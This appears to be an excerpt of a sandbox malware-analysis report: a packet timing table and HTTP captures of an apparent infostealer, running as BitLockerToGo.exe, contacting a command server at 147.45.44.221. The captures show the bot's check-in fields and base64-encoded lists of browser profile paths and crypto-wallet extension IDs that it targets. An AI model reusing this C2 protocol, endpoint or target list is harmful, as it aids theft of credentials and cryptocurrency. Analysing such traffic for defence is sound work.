Oct 21, 2024 08:47:32.111829996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111835003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111839056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111871004 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111871958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111885071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111895084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111906052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111911058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111917973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111928940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111954927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111954927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.577593088 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.577622890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.583600044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.583611965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.834055901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.834110975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.906239033 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.911263943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.159900904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.159915924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.159924030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.160109997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.162631989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.167649031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.416014910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.416161060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.435915947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.440820932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.690959930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.691226006 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.791606903 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.791713953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.796417952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.796610117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.796618938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.796628952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.796638966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.796647072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.796669006 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.796684980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.796709061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.796726942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.796744108 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.796762943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.796767950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.796814919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.796972036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.797023058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.801146030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.801167011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.801177979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.801204920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.801235914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.801368952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.801388025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.801405907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.801434040 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.801445007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.801496983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.801528931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.801608086 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.801676035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.801750898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.801851988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.801901102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.805967093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806019068 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.806054115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806103945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806107998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.806116104 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806128979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806138992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806149006 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.806164980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806174994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806176901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.806194067 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806200027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.806205034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806241035 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.806256056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806257010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:33.806267977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806288958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806301117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806310892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806330919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806339979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806375027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806426048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806468010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806485891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806559086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806570053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806588888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806654930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806663990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806721926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806731939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806787014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806797028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806912899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806921959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806926012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806936026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806946993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806957006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806976080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.806986094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.810702085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.810713053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.810755968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.810766935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.810798883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.810808897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.810818911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.810828924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.810966969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.810976028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.810981989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.810983896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811058998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811110973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811208010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811217070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811224937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811275005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811284065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811290979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811322927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811331034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811340094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811350107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811367035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811373949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811394930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811403036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811431885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811439991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811503887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811511993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:33.811518908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:34.664860010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:34.665021896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:34.711456060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:34.716293097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:34.966022968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:34.966135025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:34.967072010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:34.971882105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:38.847279072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:38.847352982 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:41.212387085 CEST	49732	80	192.168.2.4	147.45.44.221

HTTP Request Dependency Graph

147.45.44.221

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	147.45.44.221	80	2736	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 08:47:16.691220999 CEST	88	OUT	GET / HTTP/1.1 Host: 147.45.44.221 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 08:47:17.548475981 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 08:47:17.550791979 CEST	419	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKK Host: 147.45.44.221 Content-Length: 219 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 37 39 34 30 30 32 39 30 43 35 33 35 32 38 30 30 33 31 39 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6e 66 7a 65 6f 6e 77 63 69 74 75 63 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="hwid"D579400290C53528003197------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="build"nfzeonwcituc------DAFBGHCAKKFCAKEBKJKK--
Oct 21, 2024 08:47:17.814910889 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 57 4d 7a 59 57 59 30 59 54 67 31 4e 6a 67 78 5a 44 63 35 5a 57 56 6d 59 6a 6c 6c 4d 7a 6b 78 4d 54 59 35 4e 32 55 78 4d 47 59 77 4e 57 4e 6c 4d 7a 67 30 4d 6d 4e 68 4e 6a 4d 78 5a 54 56 69 59 54 51 33 4e 7a 59 7a 59 7a 56 69 4e 44 49 32 4e 57 52 6a 5a 54 55 34 4d 7a 6b 33 4d 6d 59 33 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MWMzYWY0YTg1NjgxZDc5ZWVmYjllMzkxMTY5N2UxMGYwNWNlMzg0MmNhNjMxZTViYTQ3NzYzYzViNDI2NWRjZTU4Mzk3MmY3fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 21, 2024 08:47:17.816734076 CEST	468	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBG Host: 147.45.44.221 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="message"browsers------IECBGIDAEHCGDGCBKEBG--
Oct 21, 2024 08:47:18.070502043 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 21, 2024 08:47:18.070559025 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 21, 2024 08:47:18.071930885 CEST	467	OUT	POST /28166bd28a5d19e6.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIIIJDAAAAAAKECBFBA Host: 147.45.44.221 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 63 33 61 66 34 61 38 35 36 38 31 64 37 39 65 65 66 62 39 65 33 39 31 31 36 39 37 65 31 30 66 30 35 63 65 33 38 34 32 63 61 36 33 31 65 35 62 61 34 37 37 36 33 63 35 62 34 32 36 35 64 63 65 35 38 33 39 37 32 66 37 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 2d 2d 0d 0a Data Ascii: ------EHIIIJDAAAAAAKECBFBAContent-Disposition: form-data; name="token"1c3af4a85681d79eefb9e3911697e10f05ce3842ca631e5ba47763c5b4265dce583972f7------EHIIIJDAAAAAAKECBFBAContent-Disposition: form-data; name="message"plugins------EHIIIJDAAAAAAKECBFBA--
Oct 21, 2024 08:47:18.325493097 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:47:18 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxs